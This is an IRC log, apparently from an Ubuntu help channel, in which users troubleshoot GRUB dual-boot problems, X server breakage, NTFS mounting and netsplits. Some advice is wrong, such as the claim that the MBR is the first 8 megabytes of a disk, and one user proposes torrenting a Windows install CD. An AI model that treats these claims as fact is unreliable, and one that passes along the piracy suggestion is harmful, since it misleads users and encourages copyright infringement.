[12:43] <ompaul> only 68 users ..
[12:44] <Stormx2> dude
[12:44] <Stormx2> what the fuck.
[12:44] <ompaul> net split
[12:44] <Stormx2> hmm?
[12:44] <ompaul> the nice networks were all out of sync
[12:44] <Stormx2> oh
[12:44] <Stormx2> fair enough
[12:44] <Stormx2> that makes me in-sync
[12:46] <ompaul> okay so kornbluth ain't so hot today
[12:49] <sk545> hey, has anyone not been able to set brightness in xine-ui?
[12:51] <sun> hi im using kino and i want to export to mpeg, but it says "mplex: command not found" what package is mplex in?
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[12:55] <HiddenWolf> lunitik, could you play some file in totem for me, go fullscreen (press F), then move the mouse, and wait a bit. See if the UI goes away again?
[12:55] !Md:*! sorry for the troubles. today's ircd upgrade was a bit toxic. I just downgraded the ircds on the hubs
[12:55] <lunitik> HiddenWolf, I don't have any codecs installed right now...
[12:56] <Arsonide> So wait does this Cedega thing work with all windows games?
[12:56] <NoUse> Arsonide no
[12:56] <crube> Arsonide, no
[12:56] <Arsonide> oh
[12:56] <HiddenWolf> lunatic any file will do, I just want to know if the UI times out and goes away after a reasonable time.
[12:56] <lunitik> HiddenWolf, I suppose now is as good a time as any to get them though... you got a while?
[12:56] <crube> Arsonide,  I think you cant find a list of working games from cedegas website
[12:56] <lunitik> HiddenWolf, I don't have any media files...
[12:56] <Arsonide> Yeah I saw it. It's pretty big though.
[12:56] <lunitik> Arsonide, no
[12:56] <Stormx2> lunitik.... suggestions? :(
[12:57] <Stormx2> lunitik: I found something.
[12:57] <lunitik> Stormx2, you fucked up pretty bad... how much are you against reinstalling?
[12:57] <HiddenWolf> lunitik, you don't even need a file really
[12:57] <intelikey> my xterm is broke for user   ;(
[12:57] <Stormx2> lunitik: Uhg
[12:57] <crube> Arsonide,  it is. MANY other games that dont need the newest direct x work too.
[12:57] <Stormx2> lunitik: Yeh I could do that
[12:57] <Arsonide> ow.
[12:57] <Stormx2> i've had problems with GAIM not removing itself properly, too.
[12:58] <holycow> heh, i guess the bot kids are getting tired of note being able to spam so they are flooding
[12:58] <chrismy> what is this? bots?
[12:58] <lunitik> HiddenWolf, Totem won't even start here... (gstreamer)
[12:58] <Stormx2> ADMN'PWND
[12:58] <HiddenWolf> lunitik, ok, never mind
[12:58] <Stormx2> someone said something about a "net split"?
[12:58] <Arsonide> XChat is not remembering my user name, it keeps trying to use my real name for IRC...and I don't like that, I don't see any options to make it automatically remember Arsonide.
[12:58] <Stormx2> Stormx2: Apparently you guys arn't synced.
[12:58] <chrismy> anyone can help me with booting??
[12:59] <Stormx2> chrismy: I can try.
[12:59] <Stormx2> rofl.
[12:59] <chrismy> Stormx2: oh thank you
[12:59] <dbw> :D
[12:59] <Stormx2> chrismy: What is the problem?
[12:59] <crube> Arsonide,  does this happen when you restart from the menu, and choose to save your desktop layout
[01:00] !Md:*! sorry for the troubles. today's ircd upgrade was a bit toxic
[01:00] <chrismy> well i had much problem for 24 hours already. and no one has the best solution
[01:00] <chrismy> Stormx2: it is like this......
[01:00] <Arsonide> crube, Don't know what that means, if I leave XChat and come back, it tries to use my real name, not Arsonide, and I have to type it in every time.
[01:01] <crube> Arsonide, ok I dont know what the problem is sorry
[01:01] <Stormx2> lunitik: Any way I can order breezy CDs when they come out? I have already ordered some, but when they came i lost the packaging and there was something about a number I can quote
[01:01] <crube> Arsonide,  I dont have my real name used anywhere in ubuntu so I dont have that problem
[01:01] <Stormx2> FUCK IT SOUTH PARK IS ON! BYE LOSERS!
[01:01] <lunitik> Stormx2, shipit.ubuntu.com
[01:01] <Depht> I think that says it all....
[01:01] <lunitik> Stormx2, will be a _while_ though...
[01:02] <chrismy> Stormx2: i have 2 HDD. i want to have 2 OS. One with linux and the other with windows xp. so now i have reinstalled windows on the first HDD(primary master) but linux on the second HDD (secondary master) won't boot
[01:02] <lunitik> chrismy, thats not a linux help question... you need to edit boot.ini now and add your ubuntu install...
[01:02] <darkheart> chrismy You don't really want to install Windows after you install Linux. It will overwrite your MBR.
[01:03] <lunitik> chrismy, due to what darkheart just said...
[01:03] <chrismy> i mean i have reinstalled windows. so now what should i do to have linux back?
[01:03] <guidedspirit> hello
[01:04] <lunitik> chrismy, it can be done... but its a pain... search around google...
[01:04] <chrismy> ii ahve 2 HDD not dual OS in a HDD
[01:04] <theine> chrismy, use a live-0cd
[01:04] <theine> live-cd
[01:04] <lunitik> guidedspirit, hey
[01:04] <chrismy> theine: ayayayaay thatis what i do not have. only installation CD :(
[01:04] <guidedspirit> ubuntu is having prolblems with my pcmcia device on my laptop
[01:04] <theeil> can windows be moved without a window manager?
[01:04] <guidedspirit> it doesnt work :(
[01:04] <crube> chrismy,  when you reinstalled xp it made it's own mbr, and it doesn't know your ubuntu hd.
[01:04] <Depht> theeil: no
[01:04] <darkheart> chrismy Yes, use some form of media to boot into linux, then maybe you can replace the bootloader with something that will recognize both Windows and Linux.
[01:04] <theine> chrismy, are you on dial up?
[01:04] <chrismy> theeil: i really do not know about booting that is why i need help and still not solve
[01:05] <chrismy> solved
[01:05] <chrismy> theine: no broadband
[01:05] <lunitik> crube, there is only one mbr... the first 8 megs on a disk...
[01:05] <chrismy> darkheart: how do you mean?
[01:05] <theine> chrismy, then I would recommend to download the ubuntu live-cd
[01:05] <chrismy> theine:  :(
[01:05] <theine> chrismy, you could also use damnsmalllinux i guess...
[01:05] <guidedspirit> can anyone help me? ubuntu doesnt recognize my pcmcia port on my laptop
[01:06] <darkheart> chrismy Did you create a boot disk?
[01:06] <Stormx2> chrismy: You need a boot disk.
[01:06] <chrismy> theine: ah i have that. but is it live? or can it do the boot? (grub)
[01:06] <Stormx2> chrismy: Or a live CD, and you need to install GRUB into the MBR
[01:06] <chrismy> darkheart: erm boot disk for window or linux?
[01:06] <theine> chrismy, i never used it but i think it's a live cd
[01:06] <Stormx2> Im reinstalling this now
[01:06] <NoUse> does the ubuntu Cd have any kind of rescue mode?
[01:06] <theine> chrismy, or live-stick or whatever...
[01:07] <chrismy> Stormx2: how do i do the diskette? i think that will be the easiest way for me
[01:07] <darkheart> chrismy I meant Linux, but it looks like you are getting enough help =) I'll stop talking to create less confusion.
[01:07] <Stormx2> Im so pissed off that I could kill something, but by any rate, ubuntu is better than windows.
[01:07] <crube> Stormx2,  kill Bill gates? Solves 2 problems
[01:07] <chrismy> Stormx2: same here. very frustrated
[01:07] <guidedspirit> im fustrated too
[01:07] <chrismy> so guys. do you suggest that i install ONE OS AT A TIME?
[01:07] <guidedspirit> ubuntu doesnt recognize my pcmcia port
[01:07] <Stormx2> chrismy: You can either make a boot floppy that boots your existing ubuntu, or get a Live CD and install from there
[01:08] <Ng> guidedspirit: what kind of laptop do you have?
[01:08] <NoUse> chrismy install windows first, then Ubuntu
[01:08] <chrismy> Stormx2: ermm how do i do the boot floopy?
[01:08] <theine> chrismy, anyway, you need to boot the live-cd, mount your ubuntu partition, chroot into it, issue 'grub-install /dev/hda' (if /dev/hda is the harddisk you want to boot from) and reboot
[01:08] <GoClick> DNS lookups are insanly slow on my Ubuntu machine but very fast on my Windows machine, even for domains I've never looked up before, ideas?
[01:08] <NoUse> chrismy thats the best way
[01:08] <darkheart> chrismy You have to install one OS at a time. But if you want it w/ windows/linux, you have to install Windows first.
[01:08] <Stormx2> chrismy: No idea
[01:08] <guidedspirit> compaq presario
[01:08] <Stormx2> !bootdisk
[01:08] <ubotu> Stormx2: I haven't a clue
[01:08] <Stormx2> !boot
[01:08] <chrismy> NoUse: yes that is what i am doing all this while
[01:08] <ubotu> Stormx2: I don't know, could you explain it?
[01:08] <crube> chrismy,  I suggest installing linux After xp, so that linux will install grub and you wil be able to boot to linux
[01:08] <Stormx2> gah.
[01:08] <chrismy> NoUse: i have 2 HDD remember
[01:08] <guidedspirit> ng:compaq presario
[01:08] <spiderworm> chrismy: if you come up with a way to install multiple os'es at once on the same machine etc etc, let me know
[01:08] <chrismy> NoUse: one OS for each HDD
[01:08] <NoUse> chrismy yeah but no matter what you have, Windows will blow away the boot record for it
[01:09] <dug_____________> Q about upgrading to breezy.  The colony 3 CD installer just hangs after I select the partition choice.  Anyone else see this problem?
[01:09] <Stormx2> chrismy: Would it be possible for you to reinstall Ubuntu
[01:09] <theine> chrismy, but i have to warn you, things can go wrong, and if you don't feel like doing this, i would recopmmend to look for other solutions...
[01:09] <chrismy> spiderworm: hmm i tried 2 OS in one HDD but not seperate OS in seperated HDD
[01:09] <Madpilot> dug: it's still a beta release, remember. that said, have you checked the md5sum of your downloads?
[01:09] <chrismy> Stormx2: so i need to take of the windows HDD efore installing ubuntu?
[01:10] <guidedspirit> Ng: its a compaq presario
[01:10] <chrismy> theine: oh yes things go really wrong andi am very angry now
[01:10] <crube> chrismy,  No! keep it in so that linux will know where to install grub
[01:10] <GoClick> I changed the contents of /etc/hosts to include the new name which I've put in /etc/hosts and the machine still freaks out on me when I try and log in says it can't lookup the name and stuff, very confusing
[01:10] <Arcanoid> hi everyone
[01:10] <Stormx2> OK Heres your options chrismy: 1]  Download and burn a live CD, and from the install GRUB into the master boot record 2]  Make a boot disk that boots to your existing ubuntu, and either use that when you want linux or use the opertunity to install grub 3]  Reinstall ubuntu, that will install grub automaticly.
[01:10] <dug_____________> Madpilot: thanks, I know, but I followed the other instructions for upgrading from hoary to breezy and it hosed my whole system.  I wanted to reinstall from CD but that doesn't work either.
[01:10] <chrismy> crube: so i keep the first and second HDD.?
[01:10] <theine> chrismy, I'm sorry to hear that
[01:10] <crube> chrismy,  yes and when installing grub it will know there's BOTH windows AND linux and it will make it possible to boot to BOTH
[01:11] <synd_> how do you check what version of ubuntu is installed?
[01:11] <synd_> via terminal
[01:11] <chrismy> Stormx2: i can;t do that. not at least for now. i have no CD burner
[01:11] <Stormx2> hmm
[01:11] <Madpilot> dug_____________: no idea, I'm still running Hoary myself. (also, could you please shorten your nick again? it's just a bit long...)
[01:11] <Stormx2> maybe a boot disk?
[01:11] <dug_____________> the instructions here didn't work (plus the text doesn't even show up in firefox): http://ubuntuguide.org/#upgradehoarytobreezy
[01:11] <Stormx2> Im not sure if anyone knows anything about making a ubuntu boot disk?
[01:11] <synd_> anyone?
[01:11] <chrismy> crube: but i did that and linux took over and windows cant be booted
[01:11] <Stormx2> synd_: Umm
[01:11] <chrismy> Stormx2: yes how do i do that boot disk?
[01:12] <Arcanoid> i did domething wrong with my ubuntu and i messed it all up. i uninstalled xorg trough synaptic and installed xfree. now system doesnt load x anymore not even from recovery mode. can i uninstall xfree with apt-get and reinstall xorg?
[01:12] <Stormx2> System > About Ubuntu?
[01:12] <Madpilot> dug_____________: check the wiki too, it usually has more info than the guide
[01:12] <Stormx2> or do you want it specificly in terminal?
[01:12] <chrismy> Stormx2: huh? i am totaly stucked in windows now
[01:12] <synd_> Stormx2: in term.
[01:12] <crube> Arcanoid,  yes you can.
[01:12] <theine> chrismy, and when you couln't boot windows anymore, you reinstalled it (windows)?
[01:12] <darkheart> Arcanoid If you want to keep xfree, you may fix things by running 'dpkg-reconfigure xserver-xfree86'
[01:12] <NoUse> Arcanoid apt-get remove xfree; apt-get install xorg
[01:12] <Stormx2> synd_: No idea.
[01:13] <chrismy> theine: yes and when i can't boot linux i reinstall ubuntu on and on
[01:13] <Stormx2> chrismy: Are you prepared to re-install ubuntu?
[01:13] <chrismy> Stormx2: oh yes for the cost!
[01:13] <Stormx2> Hmm?
[01:13] <chrismy> but that is the best way?
[01:13] <chrismy> L(
[01:13] <chrismy> :(
[01:13] <Stormx2> chrismy: No
[01:13] <Stormx2> Best bet is a live CD
[01:13] <theine> chrismy, have you tried to edit /boot/grub/menu.lst in order to boot windows after you reinstalled ubuntu?
[01:13] <Arcanoid> crube, i remember it was a longer name for xfree and xorg do you really think it's so short?
[01:14] <chrismy> theine: i have tried many things with many people's help
[01:14] <darkheart> chrismy I don't know this for sure, but if your drive with Ubuntu is bootable, you may be able to boot into it if you make it the master drive.
[01:14] <Arcanoid> nouse, crube, i remember it was a longer name for xfree and xorg do you really think it's so short?
[01:14] <Stormx2> theine: *sigh*
[01:14] <chrismy> darkheart: that is the thing i do not understand
[01:14] <Stormx2> theine: Not the problem
[01:14] <NoUse> !info xserver-xfree86
[01:14] <ubotu> xserver-xfree86: (the XFree86 X server), section universe/x11, is optional. Version: 4.3.0.dfsg.1-6ubuntu26 (hoary), Packaged size: 5586 kB, Installed size: 15584 kB
[01:14] <NoUse> !info xserver-xorg
[01:14] <ubotu> xserver-xorg: (the X.Org X server), section x11, is optional. Version: 6.8.2-10 (hoary), Packaged size: 5322 kB, Installed size: 15220 kB
[01:14] <Stormx2> theine: Winblows has installed its own bootloader, he can't reach linux
[01:15] <theine> Stormx2, I know, editing menu.lst still helps
[01:15] <Stormx2> theine: Not in this case
[01:15] <theine> Stormx2, smart ass
[01:15] <Stormx2> theine: GRUB has been removed from the MBR.
[01:15] <chrismy> darkheart: so how do you mean? i make a drive master then install one of the OS then disable it. then put in another disk as master to install windows?
[01:15] <Stormx2> theine: Therefore editting its config would be non-applicable
[01:16] <Stormx2> theine: It wouldn't make the slightest bit of difference.
[01:16] <crube> chrismy, You could try making the boot disk for ubuntu. Googlefor it or something. one option is to use the boot disk every time you want to boot to ubuntu
[01:16] <Arcanoid> ok i give it a try
[01:16] <theine> Stormx2, i recall that i specificly asked him whether he edited menu.lst _after_ he reinstall _ubuntu_
[01:16] <chrismy> theine: i have tried but just do not know why
[01:16] <chris__> hi,real linux newb here. i partioned my ext hard drive with ext3 partion and cant access it ,owne is root how do i change
[01:16] <Stormx2> theine: as I recall I didn't.
[01:16] <theine> Stormx2, when there _was_ grub in the mbr
[01:16] <Stormx2> theine: Wait, misunderstood.
[01:16] <Stormx2> theine: Disregard that.
[01:17] <chrismy> crube: sure but i am too weary trying now....zzzzzz
[01:17] <Stormx2> theine: Hmm. OK. So editting grub caused the problem
[01:17] <darkheart> chrismy No, sorry, disregard. It wouldn't work.
[01:17] <Stormx2> theine: But editting it now will not fix it
[01:17] <chrismy> darkheart: how do you mean?
[01:17] <theine> Stormx2, no, he should reinstall ubuntu and then edit it
[01:17] <Stormx2> theine: Because he reinstalled windows? Or is that incorrect
[01:17] <ryguy1233> theine, you have a grub/mbr problem too?
[01:18] <theine> ryguy1233, no, chrismy has one
[01:18] <Stormx2> theine: Or if he couldn't face a reinstall make a boot disk to run his existing ubuntu system and install grub?
[01:18] <chrismy> yes i reinstall one after one because they can't boot and no menu for me to choose
[01:18] <ryguy1233> ohh, it is tricky..
[01:18] <chrismy> ryguy1233: here :(
[01:18] <Stormx2> chrismy: You have windows installed?
[01:18] <chrismy> oh yes very very ricky and terrible
[01:18] <theine> chrismy, if i were you, i'd reinstall ubuntu now and then look at /boot/grub/menu.lst
[01:18] <chrismy> Stormx2: yes i am in windows now
[01:18] <chrismy> shit
[01:18] <chrismy> what is that
[01:19] <Quest-Master> netsplit.
[01:19] <Stormx2> server fucked up.
[01:19] <chrismy> server?
[01:19] <Quest-Master> Netsplit..
[01:19] <chrismy> who made this server thing?
[01:19] <Stormx2> chrismy: Maybe you should reinstall ubuntu. That will reinstall GRUB and let you pick between ubuntu and windows
[01:19] <Quest-Master> There are different Freenode servers linked together
[01:19] <ubotu> Okay, I'm here. (courtesy of gnonthgol)
[01:19] <Stormx2> Hi ubotu
[01:19] <Stormx2> ^_^
[01:19] <chrismy> Stormx2: will you be here later or something? i need rest i am gonna collapse
[01:19] <Quest-Master> Hence the names like Herbert and stuff
[01:20] <ryguy1233> theine, so you know a thing or two about the grub?
[01:20] <Quest-Master> Sometimes they lose the connection between each other
[01:20] <Quest-Master> Which is when this happens, called Netsplit
[01:20] <chrismy> Quest-Master: so why they do that?
[01:20] <Stormx2> chrismy: Me too. Its 20 past midnight here.
[01:20] <Madpilot> I was on the wrong side of that netsplit...
[01:20] <Quest-Master> chrismy: They don't.. it just happens.
[01:20] <chrismy> Quest-Master: something like CLASH?
[01:20] <theine> chrismy, there's actually an example for booting windows from any given partition
[01:20] <chris__> hi,real linux newb here. i partioned my ext hard drive with ext3 partion and cant access it ,owne is root how do i change
[01:20] <theine> ryguy1233, that would not be totally exaggerated i guess
[01:20] <chrismy> theine: i am not sure anymore. i have tried till i drop
[01:20] <ryguy1233> i was recommended to use a win98 bootdisk and the fdisk/mbr option but i have windows xp... is that a good idea?
[01:20] <Stormx2> chris__: Access it from what?
[01:21] <chrismy> ryguy1233: tried that
[01:21] <chrismy> failed
[01:21] <chris__> cant read and write to it
[01:21] <theine> chrismy, try what? editing /boot/grub/menu.lst?
[01:21] <chrismy> no no
[01:21] <ryguy1233> should I? my situation is a little diff.,right?
[01:21] <Stormx2> chris__: Linux distro installers should format their own space
[01:21] <chrismy> theine: no but like what ryguy1233said about the win98 fdisk /MBR
[01:21] <chris__> remormat with ubuntu?
[01:21] <Stormx2> :-/
[01:21] <chrismy> theine: by doing your way too failed
[01:22] <chrismy> theine: so what is your code to trick windows xp?
[01:22] !Md:*! most important servers have been downgraded now, and the "can't talk with services" issue has been fixed. +E mode has been temporarily disabled until it can be fixed
[01:22] <ryguy1233> should i still try it? does anyone know if it would work?
[01:22] <theine> chrismy, I don't know who the hell told you guys about using a win98 bootdisk, but editing /boot/grub/menu.lst is the way of getting it to work
[01:22] <NoUse> ryguy1233 what are you going to tyr?
[01:23] <chrismy> theine: now now do not be rude. if we can't do it in one way we do and find another way
[01:23] <Stormx2> yeh i agree with theine here, so long as grub is still on the MBR. If windows has installed its own bootloader, it won't make a difference.
[01:23] <ryguy1233> the win98 bootdisk, even tho i have winxp... would that not be the right way to go?
[01:23] <chrismy> theine: learning process hurts
[01:23] <ryguy1233> i couldnt find a recovery disk at the torrent site i use
[01:23] <NoUse> ryguy1233 it won't work
[01:23] <lunitik> Stormx2, umm... wrong.
[01:23] <theine> chrismy, sorry, i fully understand
[01:23] <NoUse> ryguy1233 win98 doesn't understand NTFS
[01:23] <lunitik> Stormx2, Windows buts its own stuff in the MBR...
[01:23] <chrismy> theine: yes the one  should swear is ME
[01:24] <lunitik> puts*
[01:24] <chrismy> hahahha
[01:24] <theine> chrismy, so did you actually try to edit menu.lst or not?
[01:24] <chrismy> theine: told ya :) EVERYTHING so far
[01:24] <NoUse> ryguy1233 did your computer company not give you a WinXP Cd?
[01:24] <sk543> anyone have trouble adjusting brightness in xine-ui?
[01:24] <chrismy> theine: i even did the stupid way you said about the win98 fdisk /mbr
[01:24] <Stormx2> lunitik: But would it remove/take priority over grub?
[01:24] <chrismy> :D
[01:25] <ryguy1233> i dont think they did... i got an hp media center M380n from compUSA
[01:25] <chrismy> theine: so what is your suggestion?
[01:25] <chrismy> theine: ok let me tell you again
[01:25] <theine> chrismy, I find it hard to believe that chainloading the windows partition won't work
[01:25] <Stormx2> chrismy: If your on the same machine, there are tools you can use From winblows to edit files on your ext3 partition.
[01:25] <lunitik> Stormx2, yes
[01:25] <Stormx2> edit /boot/grub/menu.lst to include ubuntu in it.
[01:26] <Stormx2> That is, if grub is still there
[01:26] <Stormx2> ^_^
[01:26] <lunitik> Stormx2, he needs to run 'grub-install /dev/hda' from a livecd... or reinstall Ubuntu...
[01:26] <chrismy> theine: i have installed windows xo on the first HDD( primary master). so how do i install linux on the other HDD without interferring with the MBR or whatever you call that
[01:26] <ryguy1233> lunitik, should i try that too?
[01:26] <chrismy> theine: you better believe it
[01:27] <lunitik> ryguy1233, you in a livecd right now? if so, yes...
[01:27] <theine> chrismy, you install ubuntu on the second harddrive, but grub on the first one (where windows is)
[01:27] <chrismy> Stormx2: i have that..erm i think i have rmoved that all along :(
[01:27] <ryguy1233> im on a linspire live cd
[01:27] <lunitik> ryguy1233, then you need to add Windows to your menu.lst ...
[01:27] <NoUse> ryguy1233 linux is gone right?
[01:27] <theine> chrismy, no problem there
[01:27] <chrismy> theine:no problem?
[01:27] <theine> chrismy, no
[01:27] <lunitik> ryguy1233, Windows won't have touched your menu.lst, so ignore whoever is telling you that...
[01:27] <ryguy1233> yes, i right-clicked my computer, then manage, then deleted them that way
[01:28] <Stormx2> lunitik: But i've heard that grub is still there, and he could just edit the config to include ubuntu? Because he editted it when he first installed ubuntu and thats where the problems started?
[01:28] <NoUse> lunitik ryguy1233 doens't have a menu.lst all his linux partitions are gone
[01:28] <chrismy> theine: so suppose to work? i mean first install windows on the first HDD the linux on the second HDD?
[01:28] <ryguy1233> ok, so i should find menu.lst on hda1
[01:28] <ryguy1233> ?
[01:28] <lunitik> Stormx2, GRUB will still be installed on his Linux partition... but its no longer in his MBR ....
[01:28] <theine> chrismy, yes
[01:28] <chrismy> theine: ahhh what a relief
[01:28] <apokryphos> ryguy1233: in /boot/grub
[01:28] <NoUse> ryguy1233 if linux is gone, you don't have menu.list
[01:28] <chrismy> theine: well i do HOPE it works!:D
[01:28] <lunitik> NoUse, he has mounted / ?
[01:28] <gabriel> arkanoid here! hei guys! i dont rememberyour nicks but i removed xfree and installed xorg. all came back smooth. Thanks a lot!!!
[01:28] <Stormx2> lunitik: Damnit thats what I said all along. And another guy kept telling me different >_<
[01:29] <NoUse> lunitik he is on a live CD
[01:29] <theine> chrismy, and if windows doesn't show up in the boot menu, don't panic!
[01:29] <chrismy> theine: erm that was what i have been...
[01:29] <Stormx2> chrismy: Get a live CD or reinstall
[01:29] <theine> chrismy, it's pretty easy to add the proper entry in /boot/grub/menu.lst
[01:29] <lunitik> NoUse, cool... he still needs to mount /   to allow him to edit the files on it...
[01:29] <crube> chrismy, in the install process it will ask you if you want to install grub to your windows drive. You should choose Yes to that. It should then ask you witch one you will like to boot in when you start your computer
[01:29] <chrismy> theine: you sure?
[01:29] <theine> chrismy, it probably will show up anyway...
[01:29] <NoUse> lunitik he nuked the partions from inside windows
[01:29] <theine> chrismy, yes
[01:29] <NoUse> lunitik there is nothing to mount
[01:29] <chrismy> Stormx2: aww please i can't do that and not for now
[01:29] <lunitik> NoUse, then he needs to reinstall Linux....
[01:30] <NoUse> lunitik he doesn't want Linux
[01:30] <NoUse> lunitik he wants his Windows MBR back
[01:30] <crube> NoUse,  who?
[01:30] <ryguy1233> and if it helps... i am getting error 22 from grub
[01:30] <NoUse> crube ryguy1233
[01:30] <lunitik> ryguy1233, that means no fs ...
[01:30] <crube> Rydekull, g
[01:30] <GoClick> DNS lookups are insanly slow on my Ubuntu machine but very fast on my Windows machine, even for domains I've never looked up before, ideas?
[01:30] <chrismy> crube: hmm yes but that was(yes was) when i install them in the same HDD. but now i am seperating them. not all in one but one with their own housing:D
[01:30] <Stormx2> chrismy: Get a friend to download and burn a live CD, or if you fancy a wait you can order some CDs
[01:30] <lunitik> ryguy1233, just throw in the Windows CD ... it will overwrite the MBR again
[01:31] <NoUse> lunitik he doesn't have one
[01:31] <lunitik> ryguy1233, if this is what you want (no Linux)
[01:31] <NoUse> lunitik thats the fun part
[01:31] <crube> ryguy1233, do you have windows xp?
[01:31] <ryguy1233> yes
[01:31] <Stormx2> f00
[01:31] <ryguy1233> i could DL a windows CD at a torrent site on a friends computer if i can find one
[01:31] <lunitik> ryguy1233, Windows site has instructions of removing Linux from the system... this is the wrong place to ask!!!
[01:32] <chrismy> Stormx2: friends? hahahhaah i can tell you in this huge town, i am the one here who has the initiative to learn linux commandlines
[01:32] <Stormx2> you might want to try #windows lol
[01:32] <gabriel> i tryed installing xfree because i read that synaptics touchpad is different in xorg. i would like to activate the handy function that is in windows synaptics driver for long drag and drop. you need to tap before you release the drag and drop. is there a similar function in ubuntu?
[01:32] <crube> ryguy1233,  Boot to windows xp cd, and from the first screen choose R he recovery console. Type your administrator password, and type "fixmbr". It will create a new MBR to your windows and when you restart you should be able to boot in windows.
[01:32] <lunitik> ryguy1233, http://support.microsoft.com/default.aspx?scid=kb;en-us;314458   look at that... good day sir
[01:32] <ryguy1233> crube, i dont have a windows cd :(
[01:32] <chrismy> Stormx2: generally as you know peple are sticked with windows due to its 'prettiness'
[01:32] <ryguy1233> k, let me see...
[01:32] <Stormx2> chrismy: But they wouldn't burn you a CD?
[01:33] <chrismy> Stormx2: come on :(
[01:33] <lunitik> ryguy1233, if that doesn't work... call Microsoft... if your copy is licensed... you're shit out of luck
[01:33] <lunitik> ryguy1233, either way... good day sir
[01:33] <Stormx2> chrismy: Where do you live?
[01:33] <crube> ryguy1233,  that's not good. You should get one so you could use it to fix mbr
[01:33] <lunitik> s/licensed/unlicensed/
[01:33] <guidedspirit> im on a compaq presario laptop and i have kubuntu (latest version) and it wont detect my pcmcia card or port
[01:33] <chrismy> Stormx2: but i have to download the image file and bring my computer to the computer shop and ask them to burn and have to pay them....and and hahha
[01:33] <bob__> is there an easy way to install java in ubuntu? eg a package
[01:34] <NoUse> !java
[01:34] <ubotu> java is, like, to install Java please see https://wiki.ubuntu.com/Java
[01:34] <lunitik> crube, stop helping him... its not an Ubuntu or even a linux issue.
[01:34] <bob__> thanks
[01:34] <chrismy> Stormx2: where do i live? hmm very popular but not very popular at the same time
[01:34] <Stormx2> chrismy: I'm guessing not england.
[01:34] <guidedspirit> im on a compaq presario laptop and i have kubuntu (latest version) and it wont detect my pcmcia card or port
[01:34] <Stormx2> chrismy: Otherwise i would have mailed it to you.
[01:35] <crube> lunitik,  but it is a result he got from linux, so it's somehow relative anyways :)
[01:35] <chrismy> Stormx2: england?? hahah my english is neither proper nor the posh? :P
[01:35] <Stormx2> chrismy: Maybe you should just reinstall, yeh?
[01:35] <lunitik> crube, no... he needs to contact Microsoft/his ISV   :/
[01:36] <chrismy> Stormx2: i guess that would be the ultimate choice :(
[01:36] <iratsu> Hello. I can't get X working. Here is my X log: http://iratsu.dyndns.org:8080/~iratsu/Xorg.0.log
[01:36] <lunitik> crube, fortunately... our license allows for no warrentee  8D
[01:36] <chrismy> i would try once again ...jeez
[01:37] <Stormx2> chrismy: The only other option is getting a live CD
[01:37] <lunitik> iratsu, weird... no error... you get a black screen? or just nothing?
[01:37] <Stormx2> it might cost you a little money but it would save you losing any work.
[01:37] <apokryphos> lunitik: "WITHOUT ANY WARRANTY". Always hopeful seeing it when X crashes ;-)
[01:37] <iratsu> lunitik: nothing
[01:37] <chrismy> Stormx2: but thinking back breezy will be out on october. so i do not wish to waste money on that
[01:37] <lunitik> iratsu, X tries to start.... then returns to CLI?
[01:38] <Stormx2> chrismy: Hmm ok
[01:38] <gabriel> nobady knows how to activate function for long drag n drop with touch pad synaptics?
[01:38] <lunitik> apokryphos, pay for support?
[01:38] <iratsu> lunitik: yes
[01:38] <chrismy> Stormx2: therefore i will be wiser :D getting LIVE PLUS INSTALLATION CD yay!
[01:38] <Stormx2> lunitik: Will I be able to get breezy CDs if I havn't got my code from when I got my hoary ones?
[01:38] <apokryphos> lunitik: you could, of course; not that I'd want/need to
[01:39] <Stormx2> Im off
[01:39] <lunitik> iratsu, resolution settings are correct (ala /etc/X11/xorg.conf)  ?
[01:39] <Stormx2> im reinstalling tomorow morning though.
[01:39] <chrismy> Stormx2: getting free CDs from ubuntu is ridiculous. i have heard many of them here saying it will take eaons to reach
[01:39] <Stormx2> fucking gnome.
[01:39] <lunitik> apokryphos, then such messages shouldn't bother you  :)
[01:39] <Stormx2> chrismy: The more you order the quicker they come
[01:39] <chrismy> Stormx2: same here nighty night!
[01:39] <chrismy> Stormx2: more? but i a not into busniess lol
[01:39] <apokryphos> lunitik: mild joke; nevermind 8)
[01:39] <lunitik> Stormx2, just re-sign up for shipit ... should just be able to log back in and re-order though...
[01:39] <chrismy> that is odd!
[01:39] <iratsu> lunitik: looks right
[01:40] <apokryphos> iratsu: try a sudo dpkg-reconfigure xserver-xorg
[01:40] <eliphas_> took me two month to receive my cd's but was so happy to dirtibute them
[01:40] <chrismy> Stormx2: i will see you later if possible or just about anyone to help me out
[01:40] <lunitik> iratsu, hmm... for now... try 600x480 (remove the others for now from 24bit) just for now... to see if this is why...
[01:40] <chrismy> theine: even you could help me kicl MS ass hehe
[01:40] <eliphas_> I left some in my stairs
[01:40] <Stormx2> alright
[01:40] <chrismy> kick
[01:40] <Stormx2> im off to bed now
[01:40] <Stormx2> Have fun
[01:40] <lunitik> Stormx2, night
[01:40] <chrismy> Stormx2: so as to you
[01:40] <chrismy> thanks
[01:41] <Arsonide> Uh how do I access my "C:" drive in Ubuntu?
[01:41] <Arsonide> I have some music I want to try to play.
[01:41] <chrismy> theine: are you there?
[01:41] <lunitik> Arsonide, fdisk -l  ... which one is vfat or ntfs?
[01:41] <falko> yay, IRC!
[01:41] <Arsonide> ntfs
[01:41] <pfp> !ntfs
[01:41] <ubotu> ntfs is, like, the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.
[01:41] <apokryphos> ubotu: tell Arsonide about windowsdrives
[01:41] <lunitik> Arsonide, ok... let me rephrase... which one is ntfs
[01:41] <Arsonide> C:
[01:41] <chrismy> hmm could anyone tell me , it is possible to install linux from USB pendrive?
[01:41] <lunitik> apokryphos, shush
[01:41] <gabriel> i meen: when i drag n drop how do you do long drags? just tapping?
[01:42] <lunitik> Arsonide, RUN THE DAMN COMMAND (fdisk -l)
[01:42] <pfp> Arsonide: check out that script link from ubotu
[01:42] <chrismy> !usb
[01:42] <ubotu> chrismy: Do they come in packets of five?
[01:42] <chrismy> lol
[01:42] <lunitik> chrismy, look into hotplug
[01:42] <apokryphos> lunitik: mwuahaha
[01:42] <chrismy> lunitik: that is hotplug? wow..
[01:42] <whyameye> I want to try "suspend to ram" but I don't even see how to choose the option from Gnome. I only see "hibernate"
[01:42] <chrismy> !hotplug
[01:42] <ubotu> I don't know, chrismy
[01:43] <lunitik> chrismy, hotplug manages everything usb
[01:43] <Arsonide> lunitik, k, ran the damn command, it did nothing.
[01:43] <chrismy> lunitik: it says it does not know
[01:43] <apokryphos> Arsonide: as sudo
